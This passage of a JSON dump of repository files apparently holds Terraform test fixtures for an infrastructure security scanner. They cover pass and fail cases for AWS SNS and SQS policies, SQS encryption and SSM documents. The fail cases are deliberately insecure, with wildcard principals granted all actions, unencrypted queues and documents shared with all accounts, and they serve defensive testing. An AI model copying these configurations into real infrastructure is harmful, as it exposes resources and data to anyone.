    "content": "# pass\nresource \"aws_sns_topic_policy\" \"sns_tp1\" {\n  arn = aws_sns_topic.test.arn\n\n  policy = <<POLICY\n{\n    \"Version\":\"2012-10-17\",\n    \"Statement\":[\n       {\n          \"Principal\": \"*\",\n          \"Effect\": \"Deny\",\n          \"Action\": [\n            \"SNS:Subscribe\",\n            \"SNS:SetTopicAttributes\",\n            \"SNS:RemovePermission\",\n            \"SNS:Receive\",\n            \"SNS:Publish\",\n            \"SNS:ListSubscriptionsByTopic\",\n            \"SNS:GetTopicAttributes\",\n            \"SNS:DeleteTopic\",\n            \"SNS:AddPermission\",\n          ],\n          \"Resource\": \"${aws_sns_topic.test.arn}\"\n       }\n    ]\n}\nPOLICY\n}\n\nresource \"aws_sns_topic_policy\" \"sns_pass_condition\" {\n  arn = aws_sns_topic.test.arn\n\n  policy = <<POLICY\n{\n    \"Version\":\"2012-10-17\",\n    \"Statement\":[\n       {\n           \"Sid\": \"AllowSpecificPrincipalsFromSourceAccount\",\n           \"Principal\": {\n            \"AWS\": [\n                \"arn:aws:iam::123456789101:role/sns\",\n                \"*\"\n            ]\n          },\n          \"Effect\": \"Allow\",\n          \"Action\": [\n            \"SNS:Subscribe\",\n            \"SNS:SetTopicAttributes\",\n            \"SNS:RemovePermission\",\n            \"SNS:Receive\",\n            \"SNS:Publish\",\n            \"SNS:ListSubscriptionsByTopic\",\n            \"SNS:GetTopicAttributes\",\n            \"SNS:DeleteTopic\",\n            \"SNS:AddPermission\"\n          ],\n          \"Resource\": \"${aws_sns_topic.test.arn}\",\n          \"Condition\": {\n            \"StringEquals\": {\n              \"aws:SourceAccount\": \"123456789101\"\n            }\n          }\n       }\n    ]\n}\nPOLICY\n}\n\n# should return as unknown dou to condition parsing error.\nresource \"aws_sns_topic_policy\" \"sns_tp_unknown\" {\n  arn = aws_sns_topic.test.arn\n\n  policy = <<POLICY\n{\n    \"Version\":\"2012-10-17\",\n    \"Statement\":[\n       {\n          \"Principal\": \"*\",\n          \"Effect\": \"Deny\",\n          \"Action\": [\n            \"SNS:Subscribe\",\n            \"SNS:SetTopicAttributes\",\n            \"SNS:RemovePermission\",\n            \"SNS:Receive\",\n            \"SNS:Publish\",\n            \"SNS:ListSubscriptionsByTopic\",\n            \"SNS:GetTopicAttributes\",\n            \"SNS:DeleteTopic\",\n            \"SNS:AddPermission\",\n          ],\n          \"Resource\": \"${aws_sns_topic.test.arn}\",\n          \"Condition\": {'StringEquals': 'AWS:SourceOwner'}\n       }\n    ]\n}\nPOLICY\n}\n\n\n# fail\nresource \"aws_sns_topic_policy\" \"sns_tp2\" {\n  arn = aws_sns_topic.test.arn\n\n  policy = <<POLICY\n{\n    \"Version\":\"2012-10-17\",\n    \"Statement\":[\n       {\n           \"Principal\": { \n            \"AWS\": [\n                \"arn:aws:iam::123456789101:role/sns\", \n                \"*\"\n            ]\n          },\n          \"Effect\": \"Allow\",\n          \"Action\": [\n            \"SNS:Subscribe\",\n            \"SNS:SetTopicAttributes\",\n            \"SNS:RemovePermission\",\n            \"SNS:Receive\",\n            \"SNS:Publish\",\n            \"SNS:ListSubscriptionsByTopic\",\n            \"SNS:GetTopicAttributes\",\n            \"SNS:DeleteTopic\",\n            \"SNS:AddPermission\",\n          ],\n          \"Resource\": \"${aws_sns_topic.test.arn}\"\n       }\n    ]\n}\nPOLICY\n}\n\n# fail\nresource \"aws_sns_topic_policy\" \"sns_tp3\" {\n  arn = aws_sns_topic.test.arn\n\n  policy = <<POLICY\n{\n    \"Version\":\"2012-10-17\",\n    \"Statement\":[\n       {\n          \"Principal\": { \n            \"AWS\": \"arn:aws:iam::*:role/sns\"\n          },\n          \"Effect\": \"Allow\",\n          \"Action\": [\n            \"SNS:Subscribe\",\n            \"SNS:SetTopicAttributes\",\n            \"SNS:RemovePermission\",\n            \"SNS:Receive\",\n            \"SNS:Publish\",\n            \"SNS:ListSubscriptionsByTopic\",\n            \"SNS:GetTopicAttributes\",\n            \"SNS:DeleteTopic\",\n            \"SNS:AddPermission\",\n          ],\n          \"Resource\": \"${aws_sns_topic.test.arn}\"\n       }\n    ]\n}\nPOLICY\n}\n\n# fail\nresource \"aws_sns_topic_policy\" \"sns_tp4\" {\n  arn = aws_sns_topic.test.arn\n\n  policy = <<POLICY\n{\n    \"Version\":\"2012-10-17\",\n    \"Statement\":[\n       {\n           \"Principal\": { \n            \"AWS\": \"*\"\n          },\n          \"Effect\": \"Allow\",\n          \"Action\": [\n            \"SNS:Subscribe\",\n            \"SNS:SetTopicAttributes\",\n            \"SNS:RemovePermission\",\n            \"SNS:Receive\",\n            \"SNS:Publish\",\n            \"SNS:ListSubscriptionsByTopic\",\n            \"SNS:GetTopicAttributes\",\n            \"SNS:DeleteTopic\",\n            \"SNS:AddPermission\",\n          ],\n          \"Resource\": \"${aws_sns_topic.test.arn}\"\n       }\n    ]\n}\nPOLICY\n}\n\n# fail\nresource \"aws_sns_topic_policy\" \"sns_tp5\" {\n  arn = aws_sns_topic.test.arn\n\n  policy = <<POLICY\n{\n    \"Version\":\"2012-10-17\",\n    \"Statement\":[\n       {\n          \"Principal\": \"*\",\n          \"Effect\": \"Allow\",\n          \"Action\": [\n            \"SNS:Subscribe\",\n            \"SNS:SetTopicAttributes\",\n            \"SNS:RemovePermission\",\n            \"SNS:Receive\",\n            \"SNS:Publish\",\n            \"SNS:ListSubscriptionsByTopic\",\n            \"SNS:GetTopicAttributes\",\n            \"SNS:DeleteTopic\",\n            \"SNS:AddPermission\",\n          ],\n          \"Resource\": \"${aws_sns_topic.test.arn}\"\n       }\n    ]\n}\nPOLICY\n}\n\n# pass\nresource \"aws_sns_topic_policy\" \"sns_tp6\" {\n  arn = aws_sns_topic.test.arn\n\n  policy = <<POLICY\n{\n    \"Version\":\"2012-10-17\",\n    \"Statement\":[\n       {\n          \"Principal\": \"arn:aws:iam::123456789101:role/sns\",\n          \"Effect\": \"Allow\",\n          \"Action\": [\n            \"SNS:Subscribe\",\n            \"SNS:SetTopicAttributes\",\n            \"SNS:RemovePermission\",\n            \"SNS:Receive\",\n            \"SNS:Publish\",\n            \"SNS:ListSubscriptionsByTopic\",\n            \"SNS:GetTopicAttributes\",\n            \"SNS:DeleteTopic\",\n            \"SNS:AddPermission\",\n          ],\n          \"Resource\": \"${aws_sns_topic.test.arn}\"\n       }\n    ]\n}\nPOLICY\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_SQSOverlyPermissive/main.tf",
    "content": "# fail\nresource \"aws_sqs_queue\" \"fail\" {\n  name = \"fail\"\n}\n\nresource \"aws_sqs_queue_policy\" \"fail\" {\n  queue_url = aws_sqs_queue.fail.id\n  \n  policy = jsonencode({\n    Version = \"2012-10-17\",\n    Id = \"AllowAllSendMessage\",\n    Statement = [\n      {\n        Effect = \"Allow\",\n        Principal = \"*\",\n        Action = \"sqs:SendMessage\",\n        Resource = aws_sqs_queue.fail.arn\n      }\n    ]\n  })\n}\n\nresource \"aws_sqs_queue\" \"fail2\" {\n  name = \"fail2\"\n}\n\nresource \"aws_sqs_queue_policy\" \"fail2\" {\n  queue_url = aws_sqs_queue.fail2.id\n\n  policy = jsonencode({\n    Version = \"2012-10-17\",\n    Id = \"AllowAllSendMessage\",\n    Statement = [\n      {\n        Effect = \"Allow\",\n        Principal = \"*\",\n        Action = \"*\",\n        Resource = aws_sqs_queue.fail.arn\n      }\n    ]\n  })\n}\n\n# pass\nresource \"aws_sqs_queue\" \"pass\" {\n  name = \"pass\"\n}\n\nresource \"aws_sqs_queue_policy\" \"pass\" {\n  queue_url = aws_sqs_queue.pass.id\n\n  policy = jsonencode({\n    Version = \"2012-10-17\",\n    Id = \"RestrictedSendMessage\",\n    Statement = [\n      {\n        Effect = \"Allow\",\n        Principal = {\n          AWS = \"arn:aws:iam::123456789012:role/specific-role\"\n        },\n        Action = \"sqs:SendMessage\",\n        Resource = aws_sqs_queue.pass.arn\n      }\n    ]\n  })\n}\n\nresource \"aws_sqs_queue\" \"pass_w_condition\" {\n  name = \"pass_w_condition\"\n}\n\nresource \"aws_sqs_queue_policy\" \"pass_w_condition\" {\n  queue_url = aws_sqs_queue.pass_w_condition.id\n\n  policy = jsonencode({\n    Version = \"2012-10-17\",\n    Id = \"ConditionalAllowSendMessage\",\n    Statement = [\n      {\n        Effect = \"Allow\",\n        Principal = \"*\",\n        Action = \"sqs:SendMessage\",\n        Resource = aws_sqs_queue.pass_w_condition.arn,\n        Condition = {\n          StringEquals = {\n            \"aws:SourceVpc\": \"vpc-12345678\"\n          }\n        }\n      }\n    ]\n  })\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_SQSPolicy/main.tf",
    "content": "\nresource \"aws_sqs_queue_policy\" \"fail\" {\n  queue_url = aws_sqs_queue.q.id\n\n  policy = <<POLICY\n                    {\n                    \"Version\": \"2012-10-17\",\n                    \"Id\": \"sqspolicy\",\n                    \"Statement\": [\n                        {\n                        \"Sid\": \"First\",\n                        \"Effect\": \"Allow\",\n                        \"Principal\": \"*\",\n                        \"Action\": \"*\",\n                        \"Resource\": \"${aws_sqs_queue.q.arn}\",\n                        \"Condition\": {\n                            \"ArnEquals\": {\n                            \"aws:SourceArn\": \"${aws_sns_topic.example.arn}\"\n                            }\n                        }\n                        }\n                    ]\n                    }\n                    POLICY\n}\n\nresource \"aws_sqs_queue_policy\" \"pass\" {\n  queue_url = aws_sqs_queue.q.id\n\n  policy = <<POLICY\n                    {\n                    \"Version\": \"2012-10-17\",\n                    \"Id\": \"sqspolicy\",\n                    \"Statement\": [\n                        {\n                        \"Sid\": \"First\",\n                        \"Effect\": \"Allow\",\n                        \"Principal\": \"ARN:01010101010:TEST:SAMPLE\",\n                        \"Action\": \"sqs:SendMessage\",\n                        \"Resource\": \"${aws_sqs_queue.q.arn}\",\n                        \"Condition\": {\n                            \"ArnEquals\": {\n                            \"aws:SourceArn\": \"${aws_sns_topic.example.arn}\"\n                            }\n                        }\n                        }\n                    ]\n                    }\n                    POLICY\n}\n\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_SQSQueueEncryption/main.tf",
    "content": "//sqs_managed_sse_enabled defaults to false\nresource \"aws_sqs_queue\" \"fail\" {\n  name = \"terraform-example-queue\"\n}\n\nresource \"aws_sqs_queue\" \"pass\" {\n  name                              = \"terraform-example-queue\"\n  kms_master_key_id                 = \"alias/aws/sqs\"\n  kms_data_key_reuse_period_seconds = 300\n}\n\nresource \"aws_sqs_queue\" \"fail2\" {\n  name                              = \"terraform-example-queue\"\n  kms_master_key_id                 = \"\"\n  kms_data_key_reuse_period_seconds = 300\n}\n\nresource \"aws_sqs_queue\" \"fail3\" {\n  name                    = \"unencrypted-queue\"\n  sqs_managed_sse_enabled = false\n}\n\nresource \"aws_sqs_queue\" \"pass2\" {\n  name                    = \"unencrypted-queue\"\n  sqs_managed_sse_enabled = true\n}\n\nresource \"aws_sqs_queue\" \"pass3\" {\n  name                              = \"unencrypted-queue\"\n  kms_master_key_id                 = \"alias/aws/sqs\"\n  kms_data_key_reuse_period_seconds = 300\n  sqs_managed_sse_enabled           = false\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_SQSQueuePolicyAnyPrincipal/main.tf",
    "content": "# pass\nresource \"aws_sqs_queue_policy\" \"q1\" {\n  queue_url = aws_sqs_queue.q.id\n\n  policy = <<POLICY\n{\n    \"Version\":\"2012-10-17\",\n    \"Statement\":[\n       {\n          \"Principal\": \"*\",\n          \"Effect\": \"Deny\",\n          \"Action\": \"sqs:SendMessage\",\n          \"Resource\": \"${aws_sqs_queue_policy.q.arn}\"\n       }\n    ]\n}\nPOLICY\n}\n\n# fail\nresource \"aws_sqs_queue_policy\" \"q2\" {\n  queue_url = aws_sqs_queue.q.id\n\n  policy = <<POLICY\n{\n    \"Version\":\"2012-10-17\",\n    \"Statement\":[\n       {\n           \"Principal\": {\n            \"AWS\": [\n                \"arn:aws:iam::123456789101:role/sqs\",\n                \"*\"\n            ]\n          },\n          \"Effect\": \"Allow\",\n          \"Action\": \"sqs:SendMessage\",\n          \"Resource\": \"${aws_sqs_queue_policy.q.arn}\"\n       }\n    ]\n}\nPOLICY\n}\n\n# fail\nresource \"aws_sqs_queue_policy\" \"q3\" {\n  queue_url = aws_sqs_queue.q.id\n\n  policy = <<POLICY\n{\n    \"Version\":\"2012-10-17\",\n    \"Statement\":[\n       {\n          \"Principal\": {\n            \"AWS\": \"arn:aws:iam::*:role/sqs\"\n          },\n          \"Effect\": \"Allow\",\n          \"Action\": \"sqs:SendMessage\",\n          \"Resource\": \"${aws_sqs_queue_policy.q.arn}\"\n       }\n    ]\n}\nPOLICY\n}\n\n# fail\nresource \"aws_sqs_queue_policy\" \"q4\" {\n  queue_url = aws_sqs_queue.q.id\n\n  policy = <<POLICY\n{\n    \"Version\":\"2012-10-17\",\n    \"Statement\":[\n       {\n           \"Principal\": {\n            \"AWS\": \"*\"\n          },\n          \"Effect\": \"Allow\",\n          \"Action\": \"sqs:SendMessage\",\n          \"Resource\": \"${aws_sqs_queue_policy.q.arn}\"\n       }\n    ]\n}\nPOLICY\n}\n\n# fail\nresource \"aws_sqs_queue_policy\" \"q5\" {\n  queue_url = aws_sqs_queue.q.id\n\n  policy = <<POLICY\n{\n    \"Version\":\"2012-10-17\",\n    \"Statement\":[\n       {\n          \"Principal\": \"*\",\n          \"Effect\": \"Allow\",\n          \"Action\": \"sqs:SendMessage\",\n          \"Resource\": \"${aws_sqs_queue_policy.q.arn}\"\n       }\n    ]\n}\nPOLICY\n}\n\n# pass\nresource \"aws_sqs_queue_policy\" \"q6\" {\n  queue_url = aws_sqs_queue.q.id\n\n  policy = <<POLICY\n{\n    \"Version\":\"2012-10-17\",\n    \"Statement\":[\n       {\n          \"Principal\": \"arn:aws:iam::123456789101:role/sqs\",\n          \"Effect\": \"Allow\",\n          \"Action\": \"sqs:SendMessage\",\n          \"Resource\": \"${aws_sqs_queue_policy.q.arn}\"\n       }\n    ]\n}\nPOLICY\n}\n\n# unknown\nresource \"aws_sqs_queue_policy\" \"q7\" {\n  queue_url = aws_sqs_queue.q.id\n\n  policy = data.aws_iam_policy_document.bucket_policy.json\n}\n\n\n# now test aws_sqs_queue\n# pass\nresource \"aws_sqs_queue\" \"aq1\" {\n\n  policy = <<POLICY\n{\n    \"Version\":\"2012-10-17\",\n    \"Statement\":[\n       {\n          \"Principal\": \"*\",\n          \"Effect\": \"Deny\",\n          \"Action\": \"sqs:SendMessage\",\n          \"Resource\": \"${aws_sqs_queue_policy.q.arn}\"\n       }\n    ]\n}\nPOLICY\n}\n\n# fail\nresource \"aws_sqs_queue\" \"aq2\" {\n  policy = <<POLICY\n{\n    \"Version\":\"2012-10-17\",\n    \"Statement\":[\n       {\n           \"Principal\": {\n            \"AWS\": [\n                \"arn:aws:iam::123456789101:role/sqs\",\n                \"*\"\n            ]\n          },\n          \"Effect\": \"Allow\",\n          \"Action\": \"sqs:SendMessage\",\n          \"Resource\": \"${aws_sqs_queue_policy.q.arn}\"\n       }\n    ]\n}\nPOLICY\n}\n\n# fail\nresource \"aws_sqs_queue\" \"aq3\" {\n\n  policy = <<POLICY\n{\n    \"Version\":\"2012-10-17\",\n    \"Statement\":[\n       {\n          \"Principal\": {\n            \"AWS\": \"arn:aws:iam::*:role/sqs\"\n          },\n          \"Effect\": \"Allow\",\n          \"Action\": \"sqs:SendMessage\",\n          \"Resource\": \"${aws_sqs_queue_policy.q.arn}\"\n       }\n    ]\n}\nPOLICY\n}\n\n# fail\nresource \"aws_sqs_queue\" \"aq4\" {\n\n  policy = <<POLICY\n{\n    \"Version\":\"2012-10-17\",\n    \"Statement\":[\n       {\n           \"Principal\": {\n            \"AWS\": \"*\"\n          },\n          \"Effect\": \"Allow\",\n          \"Action\": \"sqs:SendMessage\",\n          \"Resource\": \"${aws_sqs_queue_policy.q.arn}\"\n       }\n    ]\n}\nPOLICY\n}\n\n# fail\nresource \"aws_sqs_queue\" \"aq5\" {\n  policy = <<POLICY\n{\n    \"Version\":\"2012-10-17\",\n    \"Statement\":[\n       {\n          \"Principal\": \"*\",\n          \"Effect\": \"Allow\",\n          \"Action\": \"sqs:SendMessage\",\n          \"Resource\": \"${aws_sqs_queue_policy.q.arn}\"\n       }\n    ]\n}\nPOLICY\n}\n\n# pass\nresource \"aws_sqs_queue\" \"aq6\" {\n  policy = <<POLICY\n{\n    \"Version\":\"2012-10-17\",\n    \"Statement\":[\n       {\n          \"Principal\": \"arn:aws:iam::123456789101:role/sqs\",\n          \"Effect\": \"Allow\",\n          \"Action\": \"sqs:SendMessage\",\n          \"Resource\": \"${aws_sqs_queue_policy.q.arn}\"\n       }\n    ]\n}\nPOLICY\n}\n\n# unknown\nresource \"aws_sqs_queue\" \"aq7\" {\n  policy = data.aws_iam_policy_document.bucket_policy.json\n}\n\n\n# unknown\nresource \"aws_sqs_queue_policy\" \"aq8\" {\n  queue_url = \"my_url\"\n\n  policy = jsonencode({\n      Version = \"2012-10-17\"\n      Id = \"my_polivy\"\n      Statement = [for v in [] :\n        {\n          Sid = \"sid\"\n          Action = [\n            \"sqs:SendMessage\"\n          ]\n          Principal = \"*\"\n          Effect   = \"Allow\"\n          Resource = \"queue\"\n          Condition = {\n            ArnEquals = {\n              \"aws:SourceArn\": \"${v}\"\n            }\n          }\n        }\n      ]\n    })\n\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_SSMDocumentsArePrivate/main.tf",
    "content": "resource \"aws_ssm_document\" \"pass\" {\n  name          = \"test_document\"\n  document_type = \"Command\"\n\n  content = <<DOC\n  {\n    \"schemaVersion\": \"1.2\",\n    \"description\": \"Check ip configuration of a Linux instance.\",\n    \"parameters\": {\n\n    },\n    \"runtimeConfig\": {\n      \"aws:runShellScript\": {\n        \"properties\": [\n          {\n            \"id\": \"0.aws:runShellScript\",\n            \"runCommand\": [\"ifconfig\"]\n          }\n        ]\n      }\n    }\n  }\nDOC\n}\n\nresource \"aws_ssm_document\" \"pass2\" {\n  name          = \"test_document\"\n  document_type = \"Command\"\n\n  content = <<DOC\n  {\n    \"schemaVersion\": \"1.2\",\n    \"description\": \"Check ip configuration of a Linux instance.\",\n    \"parameters\": {\n\n    },\n    \"runtimeConfig\": {\n      \"aws:runShellScript\": {\n        \"properties\": [\n          {\n            \"id\": \"0.aws:runShellScript\",\n            \"runCommand\": [\"ifconfig\"]\n          }\n        ]\n      }\n    }\n  }\nDOC\n  permissions = {\n    type        = \"Share\"\n    account_ids = \"680235478471\"\n  }\n}\n\nresource \"aws_ssm_document\" \"fail\" {\n  name          = \"test_document\"\n  document_type = \"Command\"\n\n  content = <<DOC\n  {\n    \"schemaVersion\": \"1.2\",\n    \"description\": \"Check ip configuration of a Linux instance.\",\n    \"parameters\": {\n\n    },\n    \"runtimeConfig\": {\n      \"aws:runShellScript\": {\n        \"properties\": [\n          {\n            \"id\": \"0.aws:runShellScript\",\n            \"runCommand\": [\"ifconfig\"]\n          }\n        ]\n      }\n    }\n  }\nDOC\n  permissions = {\n    type        = \"Share\"\n    account_ids = \"All\"\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_SSMParameterUsesCMK/main.tf",
    "content": "resource \"aws_ssm_parameter\" \"fail\" {\n  name        = \"/production/database/password/master\"\n  description = \"The parameter description\"\n  type        = \"SecureString\"\n  value       = var.database_master_password\n\n  tags = {\n    environment = \"production\"\n  }\n}\n\nresource \"aws_ssm_parameter\" \"pass\" {\n  name        = \"/production/database/password/master\"\n  description = \"The parameter description\"\n  type        = \"SecureString\"\n  value       = var.database_master_password\n  key_id      = aws_kms_key.pike.arn\n\n  tags = {\n    environment = \"production\"\n  }\n}\n\nresource \"aws_ssm_parameter\" \"pass2\" {\n  name        = \"/production/database/password/master\"\n  description = \"The parameter description\"\n  type        = \"String\"\n  value       = var.database_master_password\n\n  tags = {\n    environment = \"production\"\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_SSMSessionManagerDocumentEncryption/main.tf",
    "content": "# pass\n\nresource \"aws_ssm_document\" \"enabled\" {\n  name          = \"SSM-SessionManagerRunShell\"\n  document_type = \"Session\"\n\n  content = <<DOC\n  {\n    \"schemaVersion\": \"1.0\",\n    \"description\": \"Document to hold regional settings for Session Manager\",\n    \"sessionType\": \"Standard_Stream\",\n    \"inputs\": {\n      \"s3BucketName\": \"\",\n      \"s3KeyPrefix\": \"\",\n      \"s3EncryptionEnabled\": true,\n      \"cloudWatchLogGroupName\": \"\",\n      \"cloudWatchEncryptionEnabled\": true,\n      \"idleSessionTimeout\": \"20\",\n      \"cloudWatchStreamingEnabled\": true,\n      \"kmsKeyId\": \"${var.kms_key_id}\",\n      \"runAsEnabled\": false,\n      \"runAsDefaultUser\": \"\",\n      \"shellProfile\": {\n        \"windows\": \"\",\n        \"linux\": \"\"\n      }\n    }\n  }\nDOC\n}\n\nresource \"aws_ssm_document\" \"enabled_yaml\" {\n  name          = \"SSM-SessionManagerRunShell\"\n  document_type = \"Session\"\n\n  document_format = \"YAML\"\n\n  content = <<DOC\n  schemaVersion: '1.0'\n  description: Document to hold regional settings for Session Manager\n  sessionType: Standard_Stream\n  inputs:\n    s3BucketName: ''\n    s3KeyPrefix: ''\n    s3EncryptionEnabled: true\n    cloudWatchLogGroupName: ''\n    cloudWatchEncryptionEnabled: true\n    cloudWatchStreamingEnabled: true\n    kmsKeyId: '${var.kms_key_id}'\n    runAsEnabled: true\n    runAsDefaultUser: ''\n    idleSessionTimeout: '20'\n    shellProfile:\n      windows: ''\n      linux: ''\nDOC\n}\n\n# failure\n\nresource \"aws_ssm_document\" \"disabled\" {\n  name          = \"SSM-SessionManagerRunShell\"\n  document_type = \"Session\"\n\n  content = <<DOC\n  {\n    \"schemaVersion\": \"1.0\",\n    \"description\": \"Document to hold regional settings for Session Manager\",\n    \"sessionType\": \"Standard_Stream\",\n    \"inputs\": {\n      \"s3BucketName\": \"\",\n      \"s3KeyPrefix\": \"\",\n      \"s3EncryptionEnabled\": true,\n      \"cloudWatchLogGroupName\": \"\",\n      \"cloudWatchEncryptionEnabled\": true,\n      \"idleSessionTimeout\": \"20\",\n      \"cloudWatchStreamingEnabled\": true,\n      \"kmsKeyId\": \"\",\n      \"runAsEnabled\": false,\n      \"runAsDefaultUser\": \"\",\n      \"shellProfile\": {\n        \"windows\": \"\",\n        \"linux\": \"\"\n      }\n    }\n  }\nDOC\n}\n\nresource \"aws_ssm_document\" \"disabled_yaml\" {\n  name          = \"SSM-SessionManagerRunShell\"\n  document_type = \"Session\"\n\n  document_format = \"YAML\"\n\n  content = <<DOC\n  schemaVersion: '1.0'\n  description: Document to hold regional settings for Session Manager\n  sessionType: Standard_Stream\n  inputs:\n    s3BucketName: ''\n    s3KeyPrefix: ''\n    s3EncryptionEnabled: true\n    cloudWatchLogGroupName: ''\n    cloudWatchEncryptionEnabled: true\n    cloudWatchStreamingEnabled: true\n    kmsKeyId: ''\n    runAsEnabled: true\n    runAsDefaultUser: ''\n    idleSessionTimeout: '20'\n    shellProfile:\n      windows: ''\n      linux: ''\nDOC\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_SSMSessionManagerDocumentLogging/main.tf",
    "content": "# pass\n\nresource \"aws_ssm_document\" \"s3_enabled_encrypted\" {\n  name          = \"SSM-SessionManagerRunShell\"\n  document_type = \"Session\"\n\n  content = <<DOC\n  {\n    \"schemaVersion\": \"1.0\",\n    \"description\": \"Document to hold regional settings for Session Manager\",\n    \"sessionType\": \"Standard_Stream\",\n    \"inputs\": {\n      \"s3BucketName\": \"example\",\n      \"s3KeyPrefix\": \"\",\n      \"s3EncryptionEnabled\": true,\n      \"cloudWatchLogGroupName\": \"\",\n      \"cloudWatchEncryptionEnabled\": true,\n      \"idleSessionTimeout\": \"20\",\n      \"cloudWatchStreamingEnabled\": true,\n      \"kmsKeyId\": \"\",\n      \"runAsEnabled\": false,\n      \"runAsDefaultUser\": \"\",\n      \"shellProfile\": {\n        \"windows\": \"\",\n        \"linux\": \"\"\n      }\n    }\n  }\nDOC\n}\n\nresource \"aws_ssm_document\" \"s3_enabled_encrypted_yaml\" {\n  name          = \"SSM-SessionManagerRunShell\"\n  document_type = \"Session\"\n\n  document_format = \"YAML\"\n\n  content = <<DOC\n  schemaVersion: '1.0'\n  description: Document to hold regional settings for Session Manager\n  sessionType: Standard_Stream\n  inputs:\n    s3BucketName: 'example'\n    s3KeyPrefix: ''\n    s3EncryptionEnabled: true\n    cloudWatchLogGroupName: ''\n    cloudWatchEncryptionEnabled: true\n    cloudWatchStreamingEnabled: true\n    kmsKeyId: ''\n    runAsEnabled: true\n    runAsDefaultUser: ''\n    idleSessionTimeout: '20'\n    shellProfile:\n      windows: ''\n      linux: ''\nDOC\n}\n\nresource \"aws_ssm_document\" \"cw_enabled_encrypted\" {\n  name          = \"SSM-SessionManagerRunShell\"\n  document_type = \"Session\"\n\n  content = <<DOC\n  {\n    \"schemaVersion\": \"1.0\",\n    \"description\": \"Document to hold regional settings for Session Manager\",\n    \"sessionType\": \"Standard_Stream\",\n    \"inputs\": {\n      \"s3BucketName\": \"\",\n      \"s3KeyPrefix\": \"\",\n      \"s3EncryptionEnabled\": true,\n      \"cloudWatchLogGroupName\": \"example\",\n      \"cloudWatchEncryptionEnabled\": true,\n      \"idleSessionTimeout\": \"20\",\n      \"cloudWatchStreamingEnabled\": true,\n      \"kmsKeyId\": \"\",\n      \"runAsEnabled\": false,\n      \"runAsDefaultUser\": \"\",\n      \"shellProfile\": {\n        \"windows\": \"\",\n        \"linux\": \"\"\n      }\n    }\n  }\nDOC\n}\n\nresource \"aws_ssm_document\" \"cw_enabled_encrypted_yaml\" {\n  name          = \"SSM-SessionManagerRunShell\"\n  document_type = \"Session\"\n\n  document_format = \"YAML\"\n\n  content = <<DOC\n  schemaVersion: '1.0'\n  description: Document to hold regional settings for Session Manager\n  sessionType: Standard_Stream\n  inputs:\n    s3BucketName: ''\n    s3KeyPrefix: ''\n    s3EncryptionEnabled: true\n    cloudWatchLogGroupName: 'example'\n    cloudWatchEncryptionEnabled: true\n    cloudWatchStreamingEnabled: true\n    kmsKeyId: ''\n    runAsEnabled: true\n    runAsDefaultUser: ''\n    idleSessionTimeout: '20'\n    shellProfile:\n      windows: ''\n      linux: ''\nDOC\n}\n\n# failure\n\nresource \"aws_ssm_document\" \"disabled\" {\n  name          = \"SSM-SessionManagerRunShell\"\n  document_type = \"Session\"\n\n  content = <<DOC\n  {\n    \"schemaVersion\": \"1.0\",\n    \"description\": \"Document to hold regional settings for Session Manager\",\n    \"sessionType\": \"Standard_Stream\",\n    \"inputs\": {\n      \"s3BucketName\": \"\",\n      \"s3KeyPrefix\": \"\",\n      \"s3EncryptionEnabled\": true,\n      \"cloudWatchLogGroupName\": \"\",\n      \"cloudWatchEncryptionEnabled\": true,\n      \"idleSessionTimeout\": \"20\",\n      \"cloudWatchStreamingEnabled\": true,\n      \"kmsKeyId\": \"\",\n      \"runAsEnabled\": false,\n      \"runAsDefaultUser\": \"\",\n      \"shellProfile\": {\n        \"windows\": \"\",\n        \"linux\": \"\"\n      }\n    }\n  }\nDOC\n}\n\nresource \"aws_ssm_document\" \"disabled_yaml\" {\n  name          = \"SSM-SessionManagerRunShell\"\n  document_type = \"Session\"\n\n  document_format = \"YAML\"\n\n  content = <<DOC\n  schemaVersion: '1.0'\n  description: Document to hold regional settings for Session Manager\n  sessionType: Standard_Stream\n  inputs:\n    s3BucketName: ''\n    s3KeyPrefix: ''\n    s3EncryptionEnabled: true\n    cloudWatchLogGroupName: ''\n    cloudWatchEncryptionEnabled: true\n    cloudWatchStreamingEnabled: true\n    kmsKeyId: ''\n    runAsEnabled: true\n    runAsDefaultUser: ''\n    idleSessionTimeout: '20'\n    shellProfile:\n      windows: ''\n      linux: ''\nDOC\n}\n\nresource \"aws_ssm_document\" \"s3_enabled_not_encrypted\" {\n  name          = \"SSM-SessionManagerRunShell\"\n  document_type = \"Session\"\n\n  content = <<DOC\n  {\n    \"schemaVersion\": \"1.0\",\n    \"description\": \"Document to hold regional settings for Session Manager\",\n    \"sessionType\": \"Standard_Stream\",\n    \"inputs\": {\n      \"s3BucketName\": \"example\",\n      \"s3KeyPrefix\": \"\",\n      \"s3EncryptionEnabled\": false,\n      \"cloudWatchLogGroupName\": \"\",\n      \"cloudWatchEncryptionEnabled\": true,\n      \"idleSessionTimeout\": \"20\",\n      \"cloudWatchStreamingEnabled\": true,\n      \"kmsKeyId\": \"\",\n      \"runAsEnabled\": false,\n      \"runAsDefaultUser\": \"\",\n      \"shellProfile\": {\n        \"windows\": \"\",\n        \"linux\": \"\"\n      }\n    }\n  }\nDOC\n}\n\nresource \"aws_ssm_document\" \"s3_enabled_not_encrypted_yaml\" {\n  name          = \"SSM-SessionManagerRunShell\"\n  document_type = \"Session\"\n\n  document_format = \"YAML\"\n\n  content = <<DOC\n  schemaVersion: '1.0'\n  description: Document to hold regional settings for Session Manager\n  sessionType: Standard_Stream\n  inputs:\n    s3BucketName: 'example'\n    s3KeyPrefix: ''\n    s3EncryptionEnabled: false\n    cloudWatchLogGroupName: ''\n    cloudWatchEncryptionEnabled: true\n    cloudWatchStreamingEnabled: true\n    kmsKeyId: ''\n    runAsEnabled: true\n    runAsDefaultUser: ''\n    idleSessionTimeout: '20'\n    shellProfile:\n      windows: ''\n      linux: ''\nDOC\n}\n\nresource \"aws_ssm_document\" \"cw_enabled_not_encrypted\" {\n  name          = \"SSM-SessionManagerRunShell\"\n  document_type = \"Session\"\n\n  content = <<DOC\n  {\n    \"schemaVersion\": \"1.0\",\n    \"description\": \"Document to hold regional settings for Session Manager\",\n    \"sessionType\": \"Standard_Stream\",\n    \"inputs\": {\n      